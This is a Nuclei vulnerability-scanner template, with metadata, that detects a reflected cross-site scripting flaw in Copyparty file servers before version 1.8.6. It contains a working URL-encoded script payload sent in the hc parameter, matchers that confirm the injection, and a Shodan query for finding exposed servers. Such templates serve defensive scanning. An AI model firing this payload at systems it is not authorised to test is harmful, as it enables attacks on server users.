copyparty-xss: Copyparty v1.8.6 - Cross-Site Scripting
- Template: copyparty-xss
- Name: Copyparty v1.8.6 - Cross-Site Scripting
- Description: Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack. The vulnerability in the application's web interface could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.
- Remediation: Upgrade to the latest version to mitigate this vulnerability.
- Severity: medium
- Authors: theamanrawat
- Tags: copyparty, xss, vuln
- References: https://github.com/9001/copyparty/security/advisories/GHSA-cw7j-v52w-fp5r
- Verified: yes
- Max requests: 1
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/copyparty-xss.yaml
- Digest: 4a0a0047304502206d364b892f6efdf14378c29ec6f1f563f3dd359c71cb2879752b4ad1e6fbf9890221008b060dd185d7cb6dd85203acb2bc45402f876f2f1ba8b24d5696c541e3863676
- Created at: 2023-10-11T09:13:52Z
- Updated at: 2026-04-14T14:09:18Z
- Age in days: 1140
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/copyparty-xss.yaml
- Checked, none or zero: cves, products
- Not known: impact
Classification
- Cwe: CWE-80
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Max-request: 1
- Shodan-query: title:"copyparty"
- Verified: yes
Labels
- Name: Copyparty - Reflected XSS
- Impact: Attackers can execute arbitrary JavaScript in a victim's browser, potentially stealing session cookies or performing actions on behalf of the user.
- Remediation: Upgrade to version 1.8.6 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker must trick a user into accessing a malicious link
- Labels source: securitycontext
- Not known: from cve
```yaml
id: copyparty-xss
info:
name: Copyparty v1.8.6 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack. The vulnerability in the application's web interface could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.
remediation: Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/9001/copyparty/security/advisories/GHSA-cw7j-v52w-fp5r
classification:
cwe-id: CWE-80
metadata:
verified: true
max-request: 1
shodan-query: title:"copyparty"
tags: copyparty,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?hc=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<a href="/"><script>alert(document.domain)</script>'
- 'choose your OS'
condition: and
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200
digest: 4a0a0047304502206d364b892f6efdf14378c29ec6f1f563f3dd359c71cb2879752b4ad1e6fbf9890221008b060dd185d7cb6dd85203acb2bc45402f876f2f1ba8b24d5696c541e3863676:922c64590222798bb761d5b6d8e72950
```